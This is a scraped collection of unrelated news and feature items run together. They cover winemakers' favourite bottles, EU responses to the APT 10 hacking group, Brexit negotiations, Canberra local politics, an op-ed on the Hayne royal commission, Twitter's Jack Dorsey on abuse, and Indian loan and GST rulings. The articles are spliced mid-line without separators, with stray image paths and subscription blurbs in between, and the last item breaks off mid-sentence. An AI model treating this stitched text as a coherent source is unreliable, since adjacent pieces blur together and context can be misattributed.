Wine: La Moussiere (Sauvignon Blanc), from Alphonse Mellot, Sancerre, France.

Why I love it: Fond memories of a visit to this domaine many years ago. After seven hours and many vintages, I will always have a special spot for this wine.

John Skinner, Proprietor, Painted Rock Estate Winery

Wine: 1998 Burrowing Owl Merlot and Cabernet Franc

Why I love it: In the early 1990s, my wife, young kids and I holidayed for the first time on the lake in Osoyoos. I asked a neighbour what that huge excavation was that we could see on Black Sage road. He explained that it was a new winery called Borrowing Owl; he then told me how the government had a new policy, paying wineries to pull out hybrids and plant vinifera to improve the quality of our wines.

I went home and explained to my wine club if the wines coming out of Burrowing Owl are any good, maybe, there would be a good market timing investment opportunity to get in the industry.

In 2000, my family and I returned from a European vacation in August. Several days later, I found two bottles of wine on my doorstep with a note asking, are you getting in?

My friend had dropped off a bottle each of the 98 Burrowing Owl Merlot and Cabernet Franc. I opened both bottles and phoned him.

All I said was yup! and that was the beginning of our journey.

Mary McDermott, Winemaker, Township 7 Vineyards and Winery

Wine: 1990 Dom Ruinart Blanc de Blancs Champagne, from Maison Ruinart, the first established champagne house.

Why I love it: Dom Ruinart Millesime is entirely made from Chardonnay grapes. It is a blend of different terroirs but all without exception Grand Cru. Tasting this wine was a revelation and the beginning of a love of champagne and sparkling wine that has continued to this day. The mousse was creamy with fine bubbles and the aromatics were divine.

This wine sent me on the journey to now producing sparkling wine.

Evan Saunders, Winemaker, Blasted Church Vineyards

Wine: Larmandier-Bernier Latitude Blanc de Blancs (chardonnay), from Champagne Larmandier-Bernier, France.

Why I love it: Latitude takes me back to France and a small wine bar in Paris Bastille. My little bit of French, their little bit of English, and plenty of gesturing brought my wife and I to this wine.

We shared it with friends in Beaujolais, and each time I have had it since it brings me back to eating spectacular bread, cheese, and charcuterie in their sun-filled kitchen in Villefranche-sur-Saone. Amazing!European Union member states are considering a possible joint response to cyber attacks allegedly conducted by a Chinese state-linked hacker group after the U.K. presented evidence last month about network infiltration, according to people familiar with the matter.

U.K. experts briefed EU colleagues at a technical meeting on Jan. 28, providing evidence of both software and hardware attacks by the group known as Advanced Persistent Threat 10, or APT 10, said some of the people, who asked not to be identified as the talks were private. They wouldnt give details about the alleged hardware attack, saying the information was classified.

Officials who were at the meeting discussed potential responses, such as sanctions or a joint warning, according to two of the people. The issue will probably be discussed at a scheduled EU-China Summit in April, one of the officials said.

The focus on APT 10 is part of a broader clampdown by Europe and the U.S. on alleged espionage and intellectual property theft by China. The hacker group was at the center of indictments in December by the U.S. Justice Department, which accused Chinese officials of orchestrating a decade-long espionage campaign that involved infiltrating companies in the U.S. and more than a dozen other countries, drawing a strong denial from China.

The U.K.s evidence on APT 10 is related to those indictments, one of the people said.

Some countries accusations against China on the cyber-security issue are unfounded and groundless, driven by ulterior motives, the Chinese Mission to the EU said in a statement when asked about the allegations. We urge the relevant parties to stop defaming China, so as not to undermine their bilateral relations and cooperation with China.

For any retribution against China tied to cyber attacks, the EU would need to agree unanimously that the country was responsible and not all EU members currently agree, according to one of the people familiar with the matter. The EU is developing protocols to respond to malicious cyber activities, for instance by imposing sanctions, but it can be challenging to clearly attribute actions to any individuals or nation-state.

The U.K. Foreign Office in December joined Washington in pressing the accusations against APT 10, saying that the group acted on behalf of the Chinese government to carry out a malicious cyber campaign targeting intellectual property and sensitive commercial data in Europe, Asia and the U.S.

NATO defense ministers will also address the threat of Chinese cyber-attacks when they meet in Brussels on Wednesday.

We have seen the reports from allies about their concerns about Chinese activity related to infrastructure and cyber and these are reports we take seriously and we will continue to consult on these issues, NATO Secretary General Jens Stoltenberg told reporters in Brussels on Tuesday. One of the challenges of the cyber attacks, and we have seen more and more of them, is attribution.

Spear Phishing

The U.S. Justice Department claimed that the group used a technique known as spear phishing, in which emails that pretend to be from legitimate addresses are sent with attached documents and files that secretly install malware if opened. That can give hackers access to a subjects computer and allow them to steal user names and passwords, files and other information.

The U.S. indictments, which didnt mention any hardware attacks by the group, also said the hackers targeted the networks of managed service providers, which remotely manage businesses and governments IT infrastructure, in order to gain unauthorized access to their clients networks.

Cybersecurity firm FireEye Inc., which has been tracking APT 10 since 2009, says the Chinese cyber espionage group has historically targeted construction and engineering, aerospace, and telecom firms, and governments in the U.S., Europe, and Japan, in a bid to support Chinese national security goals of acquiring military and intelligence information.

Copyright 2021 Bloomberg.European Union Brexit negotiator Michel Barnier said on Monday British Prime Minister Theresa May should endorse a permanent customs union with the bloc  as proposed by the opposition Labour party  to break the impasse over their looming divorce.

Barnier told a news conference in Luxembourg that time was extremely short to conclude a deal before Britain is due to leave the bloc on March 29.

He then met UK Brexit Secretary Stephen Barclay for what both sides said were constructive talks in Brussels late on Monday.

Its clear from our side that we are not going to reopen the withdrawal agreement but we will continue our discussion in the coming days, Barnier said afterward.

The EU is urging May to work with Labour leader Jeremy Corbyn to unlock ratification of the withdrawal agreement she negotiated with Brussels. British lawmakers overwhelmingly rejected the deal, agreed in November, in a vote last month, leaving Britain on course for an abrupt Brexit with no transition period to minimize expected economic disruption.

I found Corbyns letter interesting in tone and in content, Barnier said earlier in the day in Luxembourg of the Labour leaders Brexit proposals, sent to May. Something has to give on the British side.

In a reply to Corbyn published by Mays office late on Sunday, she rejected the idea of a customs union, saying Britain must be able to strike its own trade deals after Brexit.

Barnier said he understood May did not want to delay Brexit to win more negotiating time and reiterated the controversial Irish border fix  or backstop  in Britains withdrawal agreement was an insurance policy the EU hoped never to use.

This time that remains is extremely short, Barnier told the joint news conference with Luxembourg Prime Minister Xavier Bettel. The withdrawal agreement which we agreed with Theresa Mays government  remains the best way to ensure an orderly withdrawal of the UK.

Barnier said it was up to London to provide clarity on what is next  a view shared by Bettel.

We never pushed for Brexit, we never demanded Brexit, Bettel said. The responsibility started in London and is still in London.

Barnier reiterated the blocs offer was to tweak the political declaration on EU-UK ties after Brexit that forms part of the package to reflect a plan for a closer future relationship that could obviate the need for the contentious backstop.

We are determined to organize an orderly withdrawal. This orderly withdrawal is the prerequisite that we need to build a  future relationship, he said. (Additional reporting by Robin Emmott and Alissa de Carbonnel,)The United States and European Union are close to agreeing new sanctions against Russia over the Kerch strait incident.

The measures are expected to be discussed at a meeting of EU foreign ministers next Monday and could be levied over the next two months, according to diplomats briefed on the discussions, The Financial Times reported.

This is waiting in the wings, said one of the diplomats, citing internal documents, adding that they expected the sanctions to be tabled by the end of March.

On November 25, three ships of the Ukrainian Navy crossed the Russian border, entered Russian territorial waters that were temporarily closed, and began moving toward the Kerch Strait, which serves as the entrance into the Sea of Azov. The Ukrainian vessels and their crew were detained by Russia after failing to respond to a lawful demand to stop.Our Promise: Welcome to Care2, the world's largest community for good. Here, you'll find over 45 million like-minded people working towards progress, kindness, and lasting impact.

Care2 Stands Against: bigots, racists, bullies, science deniers, misogynists, gun lobbyists, xenophobes, the willfully ignorant, animal abusers, frackers, and other mean people. If you find yourself aligning with any of those folks, you can move along, nothing to see here.

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Already have a paid subscription? Sign inTwo persons have been abducted from the village of Ganmukhuri, InterPressNews reported.

According to the State Security Service, both of them were detained for the so-called illegal border crossing.

The EU monitoring mission has been informed of the incident and the hotline has been activated.article

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Is there anything better than gathering for an intimate dinner with a like-minded group of women, enjoying a nice meal, a couple of glasses of excellent wine, conversation flows, new friends are made. If this sounds like your thing - yes, me too - then make time in your diary for a new series of wine events held by the Canberra and District Wine Industry Association. The inaugural Canberra Women in Wine Dinner will showcase the talents of Sarah McDougall from Lake George Winery and Carla Rodeghiero from Sapling Yard. Not only will it be a chance to talk to the winemakers and sample their wines, youll get to hear the stories of women who are making their mark in a mans world. Fran Marshall, who has facilitated the series, wants the dinners to be like having dinner with your friends. I love having that one-on-one relationship and discussion with winemakers, especially women winemakers, in a small group, where it's not so intimidating, where silly questions are easily asked, she says. There are only about 10 per cent of women in the wine industry overall but we have some fantastic women here in the Canberra wine region, but they tend not to push themselves, or highlight their achievements. I'm a massive champion of women in any industry and at the moment my focus is the wine industry. Rodeghieros love of wine began as a 20-year-old. She had pursued a career in microbiology and was working in London as a locum, working part-time in a wine bar on Carnaby Street in London. I became mesmerised by wines, I remember a 1993 Mt Langi Ghiran Shiraz and vowed one day to make a wine that rivaled its remarkable character, she says. When she returned to Australia in 1997 she began a wine science degree at Charles Sturt University and completed her last residential school in 2004 with her nine-week-old daughter in tow. I had some real experience under my belt by the end, I worked on vintages in the Hunter Valley, in Orange and in Oregon overseas. But I found it difficult to transition into, say even an assistant winemaker role. Here in Canberra it's hard to get a job as a winemaker as the region is so small so I just started my own label. I thought why not, so in 2013 I launched Sapling and I've been building the brand and the label and making small amounts of wine. McDougall, who has a background in marketing and tourism, believes women bring a different perspective to wine making and the industry that develops around it. She, and her husband Anthony took over the reins at Lake George Winery in mid-2018 while still operating Summerhill Road vineyard where their dream of making our wine started. Women are able to multitask and when youre a small business theres lots to be done, McDougall says. The inaugural dinner will be held at Muse, in Kingston, a three-course dinner matched with six wines. Starting with a glass of champagne the menu includes Lake George and Sapling Yard rose with charcuterie; Lake George chardonnay and Sapling Yard pinot gris with seafood paella or harissa baked pumpkin; and Lake George shiraz and Sapling Yard shiraz viognier with a cheese and chocolate board. Tickets are $122pp and a lucky diner will go home with a two pack of their favourite wines. If you miss out this first dinner keep an eye out at canberrawines.com.au for future dates. What better day to hold the inaugural Meet the Makers: Women in Beer, Wine & Spirits event than International Women's Day on March 8. An initiative of wine retailer Cellarmasters and liquor retailer BSW, the two day event will feature more than 30 winemakers, distillers and brewers. Canberra will be represented by Claudia Roughley, of Underground Spirits. Meet the Makers: Women in Beer, Wine & Spirits is taking place at Australian Technology Park in Sydney, and kicks off with a session on Friday, March 8, and two more sessions on March 9. More details at cellarmasters.com.au

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Businesses around the iconic Sydney and Melbourne buildings have broadly welcomed a $4.5 million revamp of the city centre including the space in front of arguably Canberra's most elegant non-political buildings. The aim is to transform the core of the city into a much more pedestrian friendly area, with more space for street cafes. The Sydney and Melbourne buildings were modelled in the 1920s on Italian palaces and monasteries with arched arcades or loggias. When the buildings were constructed, they had open first floor verandas which have since been enclosed. With this original Italian aura, there's now a proposal to extend out-door dining further into the street, and so increase the European cafe society feel. Trees have been planted to give shade but also to enhance the atmosphere. There's a new raised cycle lane, separating the track for cyclists from the road for cars. The extra space and the wider pavements come because bus stops have been moved elsewhere. The space for the bus stops has now become the cycle lane so the road lanes for cars have not been cut back - just the bus stops. At the formal unveiling, Minister for City Services Chris Steel said, "This is the most significant improvement work conducted on the Sydney and Melbourne building precinct for a long time and we hope all Canberrans will enjoy our revitalised city centre." Businesses said they were pleased - though some said the disruption had hurt them and the work had come too late. Aldo Cataldo who owns a hair-dressing salon on Northbourne Avenue said, "After 25 years, they've finally done the right thing in paying homage to these buildings." But he added that it was now important that neighbouring land wasn't just sold off for development so car parking was lost. Gary Rumble who owns Kingsize Big and Tall said, "Aesthetically, it's very good but the damage has been done by the construction." He said the work on the improvements plus the tram construction had disrupted his business. "We need an advertising campaign. We need to let people know that we are back in business." Joe Trimboli, one of the owners of the Mezzalira restaurant on London Circuit, said he welcomed the changes but wanted more parking for customers. His brother, Pasquale, also said he was worried about car parking. He thought space for trams and taxis had expanded in the wider area at the expense of short-term carparking. Of the improvements to the road, he said, "Overall, it's cleaned up the area. It's brought the Sydney building back into play." But businesses survived on the supply of customers and goods, which needed parking, he said.

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An Indigenous community leader has warned against the introduction of blanket anti-consorting legislation that she says would give police another avenue to target and arrest Aboriginal people. But shadow attorney-general Jeremy Hanson, who will table the proposed legislation in the assembly next week, said the legislation had the appropriate safeguards to protect vulnerable community members. The laws aim to prevent bikie gang members and other members of organised crime associating. However, Winnunga Nimmityjah Aboriginal Health Service chief executive Julie Tongs, expressed concern similar laws operating in NSW have unfairly targeted Indigenous people, the homeless and young people. The proposed ACT legislation is modelled on the laws currently in effect in NSW. The ACT government has steadfastly maintained it has no interest in introducing the anti-consorting laws to the territory. Ms Tongs said she could not support the idea of legislation that would impact more heavily on Aboriginal and Torres Strait Islander people. "You can't just have blanket legislation impacting on the vulnerable," Ms Tongs said. "A lot of Aboriginal people are already targeted by the police, so it just gives them another avenue to arrest people." Mr Hanson said there were a number of protections in place in the legislation to prevent the laws being applied unfairly to vulnerable groups in society. "That would certainly not be the intent of the legislation," Mr Hanson said. "I have every confidence that our police would apply them appropriately, only against those organisations that are conducting criminal activity." Ms Tongs, writing in her organisation's monthly newsletter, said "to its shame" the ACT had the highest rate of indigenous incarceration in Australia and feared anti-consorting laws would only increase that figure. Mr Hanson advised the legislation he will table in the assembly will not apply to children under the age of 14 and includes a provision that consorting cannot be taken to include family members. In the case a person is an Aboriginal or Torres Strait Islander, a family member "includes a person who is or has been part of the defendants extended family kin according to the Indigenous kinship system of the defendants culture." He also said the laws will be subject to a review system to ensure they are not being exercised by law enforcement officials contrary to the intent of the legislation. A 2016 report by acting NSW Ombudsman John McMillan presented damning findings of the laws failing to target organised crime and rather being used by police in response to minor crimes where other legislation would have been more appropriate. The report found 38 per cent of the people issued with official warnings under the legislation were Aboriginal, despite accounting for only 2.5 percent of the NSW population. The NSW parliament introduced amendments to the anti-consorting legislation late last year on the back of the recommendations made by Professor McMillan. Mr Hanson said he was open to amendments if they provided further clarity to particularly concerned groups, however, he warned it would be unwise to water down the laws. "With these laws I think its very important they are consistent with what is in NSW, because it is the discrepancy - the fact NSW has anti-consorting laws and we dont - that is causing the problem," Mr Hanson said. "Im not closed to making amendments but equally Im not prepared to water these laws down to a point that they wouldnt be consistent with NSW and therefore wouldnt be effective." Ms Tongs commended Mr Hanson for his willingness to implement safeguards for Aboriginal people and other vulnerable groups in society, but nonetheless recommended caution. "The proof is always in the pudding," she said.

/images/transform/v1/crop/frm/silverstone-ct-migration/e8ab76e1-0215-49f2-80e0-a4e5793b15e4/r0_295_5472_3387_w1200_h678_fmax.jpgThe United States will curb Russian and Chinese influence in Central and Eastern Europe, U.S. Secretary of State Mike Pompeo said after meeting Polish Foreign Minister Jacek Czaputowicz in Warsaw.

He said the post-communist countries are particularly vulnerable to Chinese and Russian predatory investment and political meddling, the Washington Post reported.

The Secretary of State said that he U.S. will boost engagement in the region, through defense cooperation agreements and exchange programs. Pompeo said he believes he is reversing a decade of what he called U.S. disengagement in Central and Eastern Europe that created a vacuum Russia and China have exploited.news, latest-news

The best volume of the Hayne royal commission report on bank, financial industry and superannuation rorts is the one that he didnt bother to write. Its not the one about bank culture and a growing predilection over recent years for outright dishonesty from senior figures at the big end of town. Its not about that dubious eternal human optimism that business folk, freed from the shackles of regulation, can be trusted to do the right thing, most of the time at least. Its not the one about blatant and inevitable conflicts of interest in which venal self-interest always triumphed over the interests of customers. Its not even the one about weak cops on the beat, without the will or the resources to do the right thing. Its the one about government as the essential partner in the whole larcenous enterprise. Not as a patsy with no idea of how people were being cheated by the Australian financial system, but as an active collaborator facilitating and enabling the rorting, actively setting out to weaken the rules, to remove inconvenient roadblocks, and to deny resources and guidance to those who were supposed to provide the very limited policing that a free market could not provide. Its the one which seriously invites the question of whether the modern Coalition, and the economic ministers who have dominated it since the election of the Abbott government in 2013, can seriously pretend to be the better economic manager, or the party one can expect to win at elections whenever voters are focused on control of the economy, growth, jobs, lower taxes, smaller deficits and lower debt. A government which either so misunderstands the Australian financial system, or which conspired with its leading bandit chiefs to assist it in its depredations on the public, can hardly claim to be better at understanding the business environment or to have a better tradition of caution, prudence, fiscal responsibility and financial rectitude. With some of the political players, there are even questions about moral fitness to be entrusted with the levers of power. And this at a time when political contributions pouring in to Coalition coffers raised issues about whether some ministers were acting as mere agents of the paymasters, rather than profiting from the coincidence of business recognising that its interests would be best secured by government committed to free markets. The public, the public interest, and sectors of the economy have suffered from the improper transfer of the publics money into essentially unproductive paper shuffling, churning, fake fees and expenses and the generation of superannuation outcomes, for those silly enough to avoid industry funds, that were millions, even billions, short of what might have been achieved in a more efficient and more honest system. In May this year, if not many times before, opposition parties will be asking voters whether the political management of such outcomes can be easily divorced from other issues of management of the budget, or the general economy. But taxpayers might do more than contemplate lost profits and opportunities, or how they might be better off had successive treasurers done their jobs. Voters must also ask if they are better off in a more coarsened moral framework of business. Or if they benefit from the significant damage done (rightly) to the reputations of some of Australias greatest financial institutions, and many of the great and good of the private sector. Our banks and financial institutions have been led by prominent men and women rich with postnominals and evidence of national honour and reputation. Folk at times given significant public duties, in which they disinterestedly outline the desirable shape of the Australian financial system, as well as, occasionally, the structure of industrial relations, desirable rates of taxation, the proper functions of the public administration, and ways of making the lives of poorer people in the welfare system more wretched and less entitled to any sort of process or dignity. Even with an artificially shortened parliament, resuming in the week ahead, ministers are working on their alibis. Perhaps the Treasurer, Josh Frydenberg, is yet to appreciate that some simple expression of responsibility and contrition would be a starting point, even if one could imagine his bridling at suggestions that he was a key play in undermining old systems and controls. Remember his first job of burning up unnecessary business regulation? He and others with a banking background were allying with other economic dogmatists to put a visible hand into the workings of the economy. Far from promoting the general welfare of society, the self-interested beneficiaries operated in combination to rip everyone off. Remember too the dedication and self confidence with which Minister for Finance Mathias Cormann threw himself into the demolition of the Freedom of Financial Advice laws. These focused at reducing conflict of interest so that middlemen and rent-seekers in the financial advice industry could get kickbacks from products they recommended, even as they gouged their clients for what, on average, proved to be markedly inferior outcomes. The better part of valour for anyone embarrassed is to admit errors of judgment and perceptions, and to apologise for delays in setting up an inquiry  indeed for prolonged resistance to the idea that there ought to be any inquiry at all. It is to be remembered that the inquiry came about only because of revolt from within the government. Labor and the Greens had long called for an inquiry, but they lacked the numbers. Then one insists that one had no idea that things had been so bad, and so systemically so. One had, of course, realised that there were a few bad apples in the barrel, and that there had been some widespread abuses. But, various ministers will argue, they had no idea how entrenched, pervasive and run-of-the-mill the practices were, or how they were becoming a part of the systems DNA, particularly as its rewards system and bonuses  even the general banking modus operandi  began to corrupt fundamental concepts of service and fair dealing. Ministers will piously add that they had believed that the various regulatory agencies had been tough cops on the block  likely to detect transgressions and to come down on it like a tonne of bricks. Finally, they will piously say, government had acted, and toughly, when some misfeasance had been uncovered (before the commission was called), and honestly and sincerely believed that the major problems were dealt with. Then, secretly applying the onion, they will speak of their concern about unremitting attacks on banks, some from folk who always blamed others for their own lack of business acumen, poor judgment and bad luck. Australian banks are big by world standards - mostly too big to fail. They are well capitalised (indeed better capitalised in recent years). Prudential regulation may have paid too little attention to their morals and their culture, but had closely monitored balance sheets, in part flush from the changing rorting environment. They were sound by any international standard. And very profitable  with profits flowing back generously to shareholders, most of whom were ordinary middle class Australians or members of superannuation funds. Banks, unlike many other great Australian businesses, paid their taxes, and were mostly owned in Australia. Yet the value and stability of the banks depended ultimately on public confidence in their management and in bank adherence to the rules. That was a confidence which could be damaged by ill-informed attacks, or even by public perceptions of skulduggery. Australians were well prepared to regard banks as bastards. It might shake the system if one added the adjective dishonest, or impugned the whole system because the management of some incidental product  say insurance or wealth management  was less than ideal. Those drafting such mea culpas may well confess that they realise in retrospect that they attached too much importance to the preservation of public confidence in the banking system, and that they were too slow to react to evidence of the need for a searching inquiry  a slowness they now regret. When Scott Morrison is trotting this out, onion and all, he tries to accentuate the positive and the ultimate outcomes. He insists that even if he let the cock crow 22 times, he deserves the credit for ultimately giving in to demands for an inquiry. Sure, it was a bit late, but it was ultimately held and made recommendations the government pretends it has accepted, he and the government can be trusted to see them through. It will be good luck if he, and they can get away with it. Or with any ancillary argument that accidental missteps, if any, along this path are not relevant to popular judgment about which parties will best manage the economy. Bill Shorten and Chris Bowen have the momentum on this issue  as well as the appearance of consistency. Labor, presumably, will always try to ground its campaigns on health, education and welfare issues, but they have been acting as if they are totally unembarrassed about their economic credentials, plans and policies. The mistakes and errors of judgment were not on the periphery of the Cabinet system. They have involved three Coalition prime ministers, three treasurers, and the Minister for Finance as well as the now-departing Kelly ODwyer, in her various economic relations roles. Pretending all is now changed necessarily admits that hundreds of phrases  say by Cormann justifying choice, or the emasculation of FOFA, or the need for big income tax cuts for banks  are now inoperative. All of the important economic ministers were attached to arguments, or dogmas no longer in favour, even by them, at least so far as the financial industry is concerned. Ministers now concede that industry superannuation funds have been far better managed for contributors, and have, on average, produced, far better results than bank or other private sector products. They have abandoned the pretence that these funds  controlled by an equal mix of employers and unions  have been corruptly dominated by wicked unions for nefarious purposes. They now believe, thanks to Hayne, that there should be no conflict of interest in the provision of advice, or the charging of fees, or the taking of kickbacks. One no longer hears pious claims that the sacred value is choice, and the start-up assumption is that every punter is well enough informed to make up her own mind. One may hear no admissions that the watchdogs were deliberately stripped of powers and resources, in the conscious hope that they would become weaker cops on the block. And that the government-encouraged regulators who spoke of a light touch, who preferred discussions and undertakings rather than criminal proceedings where outright and witting misconduct and abuse of power was involved. Nonetheless, government now accepts, or says that it does, that punishment is as importance as promises of future good behaviour, and that the powers and resources of regulators must be improved. Swallowing this may be hard for ministers, and a government, with little opportunity to reshape an economic message before the election. But if they dont  or if they ignore Hayne by insisting that Hayne has got it wrong (as in my opinion he has on some matters), they risk popular fury from an electorate not given to allowing the government much leeway. But the unthinking of some of the dogma is not merely a matter for politicians. Politicians (including Labor ones, such as Penny Wong with her efficiency dividend cuts) are primarily responsible for thederelictions of government, and for the propagation of an ideology about the removal of controls and checks and balances. But they have been much aided and abetted in this by settled dogma within both the advisory sides of government  including Treasury, Finance, Prime Minister and Cabinet and the Productivity Commission, as well as the regulatory agencies, including the prudential regulation authority, the securities and investment commission and the office of the Director of Public Prosecutions, which has never shown any appetite (or much capacity) for corporate prosecutions. The Competition and Consumer Commission has had a more steely spine, but appears to be left out of much of the continuing action. Theres an old saying in government that one should never call an inquiry when one does not know the answers to the questions. I doubt that the Coalition expected the answers it got, even when they knew the facts. That may have been because of underestimation of Ken Hayne. Not to put too fine a point on it, he was not chosen because government expected him to find the unsavoury facts, and to bring them to public attention with great dramatic skill. Rather, it saw him as a dull and rather technical lawyer, fairly shy and retiring, if with less propensity to embarrass everyone, including himself than his old colleague Dyson Heydon, so ill-used (if willingly) by Tony Abbott on the trade union royal commission. As Morrison and Frydenberg are presumably working up a tax cuts passage, even as they look anxiously on fears of slower growth and the mirage of a surplus, they may be hoping that voters will forget how badly they have supervised banks, the mortgage market, superannuation and the financial advice industry. The search for distractions is a part of trying to get ones ducks in a row. The risk, however, is that a well-directed shotgun blast will bring them down. Jack Waterford is a former editor of The Canberra Times. jwaterfordcanberra@gmail.com

/images/transform/v1/crop/frm/silverstone-ct-migration/d98da46e-976c-4b20-a0a7-37f8a9fcb956/r0_132_2353_1461_w1200_h678_fmax.jpgBecome A Subscriber

A subscription opens up access to all our online content, including: our interactive E-Edition, a full archive of modern stories, exclusive and expanded online offerings, photo galleries from Caledonian-Record journalists, video reports from our media partners, extensive international, national and regional reporting by the Associated Press, and a wide variety of feature content.The ceasefire monitoring at the contact line between the troops of Azerbaijan and Armenia, in the direction of Goranboy district, held in accordance with the mandate of Personal Representative of the OSCE Chairperson-in-Office today, ended without any incidents, according to the website of Azerbaijans Defense Ministry.

On the Azerbaijani side, the monitoring was held by the field assistants of the Personal Representative of the OSCE Chairman-in-Office Mikhail Olaru and Simon Tiller.

The monitoring on Azerbaijani territory occupied and controlled by the Armenian armed forces was held by the Personal Representative's field assistants Ghenadie Petrica and Ognjen Jovic.Here you'll find our latest collection of Caledonian-Record reports on the coronavirus outbreak and local response, from the beginning of April. Our January, February and March stories are here: https://www.caledonianrecord.com/news/local/our-coronavirus-coverage/collection_5885178c-692e-11eJeremy Leroy Schoenmaker, 35, of Manton is awaiting sentencing after he recently pleaded no contest to breaking and entering and larceny charges and guilty to receiving and concealing stolen property charges in 28th Circuit Court.Russian Foreign Minister Sergey Lavrov and U.S. Secretary of State Michael Pompeo have held a phone conversation on the U.S. sides initiative to discuss the situation in Venezuela, Syria and anti-Russian sanctions, the Russian Foreign Ministry said in a statement.

"In connection with the US secretary of states previously announced intention to impose additional sanctions on Russia under the absolutely unsubstantiated pretext of last years murky case of the Salisbury poisoning of Sergei Skripal and his daughter, who have since been out of the publics eye, Sergei Viktorovich Lavrov stressed that this unjustified step by Washington will only further aggravate the situation in bilateral relations and the atmosphere on the international arena," the statement reads.

The top diplomats of the two states have also addressed the situation in Syria and agreed that further bilateral dialogue was necessary for implementing UN Security Council Resolution 2254 on Syrian reconciliation.

The sides also exchanged opinions about the latest contacts between officials of the Russian Foreign Ministry and the U.S. Department of State on the Korean Peninsula situation and on promoting the Afghan settlement.An alcohol possession ban on the Pine River won\'t take effect this summer after all.Twitter Inc Chief Executive Jack Dorsey said on Tuesday that Silicon Valley companies, including his own, have not done enough to protect victims of online abuse, calling it a "huge fail."

Interviewed via Twitter by Kara Swisher, co-founder of the tech news site Recode, Dorsey tweeted that he would give himself a 'C' grade for what Swisher termed "tech responsibility."

"We've made progress, but it has been scattered and not felt enough," he tweeted in response to Swisher's questions. "Changing the experience hasn't been meaningful enough. And we've put most of the burden on the victims of abuse (that's a huge fail)."

Twitter, along with online social media network Facebook Inc , has faced criticism for abusive posts, fake users and inaccurate news stories on its service. The company has been investing heavily to improve what Dorsey has described as the "collective health" of Twitter.

Dorsey said on Tuesday he does not like how Twitter tends to incentivize outrage, short-term thinking, echo chambers, and fragmented conversations, and that the lack of diversity in the company has not helped in combating such problems.

He said Twitter's work against "automations and coordinated campaigns," along with its collaboration with various government agencies, has left it in a better position to combat the threat of misinformation for the 2020 U.S. presidential elections.

U.S. intelligence agencies have concluded that Russia used social media during the 2016 U.S. elections to sway voters. Moscow denies that charge. (Reuters)

Source: www.businessworld.ieArdmac, the international construction specialist, has announced an expansion of its workforce in 2019 with the creation of 70 jobs across its Irish and European operations. This will bring the total number of those employed by Ardmac up to 380 people by the end of 2019.

Ardmac provide specialist construction services to the commercial fit out, life sciences and Data Centre sectors. The company is seeking to recruit 70 qualified construction professionals over the coming year, including Project Managers, Quantity Surveyors and Design Engineers.

The positions will support Ardmacs key projects in Ireland, the UK, Denmark, Belgium, the Netherlands and Switzerland. In addition, two new Ardmac offices will be established in Cork and Amsterdam this year.

This employment drive by Ardmac comes on the back of increased demand for its bespoke construction solutions, significant new project wins and its ambition to continue to significantly grow the business both domestically and across the UK and Europe.

Ardmac is currently working on numerous large scale Data Centre projects and significant Cleanroom and laboratory projects for the worlds largest Bio-Pharma manufacturers.

In 2018, Ardmac picked up numerous awards and recognition for LEAN implementation, its robust Safety First programme and were also crowned Fit Out Contractor of the Year at the annual Fit Out Awards, attended by over 900 people from the construction industry in Ireland.

Speaking this week, Chief Executive of Ardmac, Ronan Quinn said, "We are seeking talented individuals to join our experienced teams, with the aim of growing our Irish, UK and European operations over the coming year and beyond. Ardmac will provide extensive training to successful candidates, including graduate development programmes, management training and executive leadership courses."

Source: www.businessworld.ieThe government Tuesday informed Parliament that loans worth Rs 7,277.31 crore of public sector banks under Pradhan Mantri Mudra Yojana (PMMY) have turned bad at the end of March 2018.

Loans extended under PMMY from the inception of the scheme up to March 2018 by all member lending institutions (MLIs) were Rs 5.71 lakh crore, Minister of State for Finance Shiv Pratap Shukla said in a written reply to the Rajya Sabha.

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Loans under PMMY can be covered under Credit Guarantee Fund for Micro-Units (CGFMU), he said.

CGFMU has been formed with the purpose of guaranteeing payment against default in microloans up to Rs 10 lakh extended to eligible borrowers by the MLIs, he said.

"As on 01.02.2019, over 15.73 crore loans amounting to Rs 7.59 lakh crore have been extended by MLIs under PMMY, since the inception of the scheme. Almost 73 per cent of the loans under PMMY have been extended to women borrowers," Shukla said.

Replying to another question, Shukla said the RBI has apprised that the list of suit-filed defaulters of Rs 1 crore and above and the list of suit-filed wilful defaulters of Rs 25 lakh and above are available in public domain on the websites of Credit Information Companies (CICs).

Also Read: Defence sales between India-US at all time high: Pentagon

"RBI has also apprised that the list of non-suit filed defaulters of Rs 1 crore and above and non-suit filed wilful defaulters of Rs 25 lakh and above is confidential in nature and is exempted from disclosure under section 45E of the Reserve Bank of India Act, 1934," he said.

Further, the RBI has advised all banks and financial institutions to submit the said list to all CICs directly and not to the RBI from December 2014 onwards.

The RBI has further apprised that the list of suit-filed wilful defaulters is compiled on quarterly basis and compilation of the list as on 31st December 2018 is under process, the minister added.

In another reply, Shukla said as on January 15, (2019), 3,07,485 returns, including 36,616 cases of refunds, are pending for scrutiny.

The scrutiny of these cases is to be completed by December 31, 2019, and about 16.21 lakh claims of refund (including non-scrutiny cases) are pending for issue as on January 31, 2019.

Also Read: RBI imposes penalty on seven banks for violation of norms

Also Read: GST Act violation: Madras HC dismisses advance bail pleasObserving that the Central Goods and Services Tax Act was enacted with the laudable object of "one country one tax", the Madras High Court on Tuesday dismissed the anticipatory bail applications filed by nine persons apprehending arrest under the provisions of the Act.

Justice Anand Venkatesh, in his order, said, "Where the accused persons are charged with violations of the CGST Act, involving colossal loss of revenue to the exchequer and the investigation is at a very nascent stage, prudence demands that this court should lay off its hands from investigation and allow complete independence to the prosecuting agency to proceed further with the investigation."

Also Read: RBI imposes penalty on seven banks for violation of norms

According to the prosecution, various organised firms and people have involved themselves in issuing fake invoices, without the actual supply of goods or services, and are also receiving fake invoices without receipt of goods and availing input tax credit to cheat the exchequer.

In the present case, the companies concerned had involved in issuing fake invoices without the supply of goods and received fake invoices without receipt of goods and thereby, committed offences under the CGST Act, 2017, it said.

In the process, the exchequer had suffered a huge loss, running to several thousand crores of rupees, it added.

The department (Goods and Service Tax Network) must be given the complete independence to investigate the cases since it involved the national interest, the court said.

"This court, by entertaining the petitions and by imposing certain conditions, should not tie the hands of the department in proceeding further with the investigation since what has been unearthed till now is only the tip of the iceberg and there is a long way to go for it to find out how long these fake invoices have extended their tentacles," the judge said.

It was true that the entire issue was borne out by documents and once the petitioners co-operated for the investigation by submitting all the relevant documents, they should not be unnecessarily arrested, the judge said.

Also Read: Government plans to sell 100% stake in Air India Air Transport Services Ltd

"However, it is a settled proposition of law that this court, while considering a petition for advance bail, has to necessarily take into consideration the nature and gravity of the accusation.

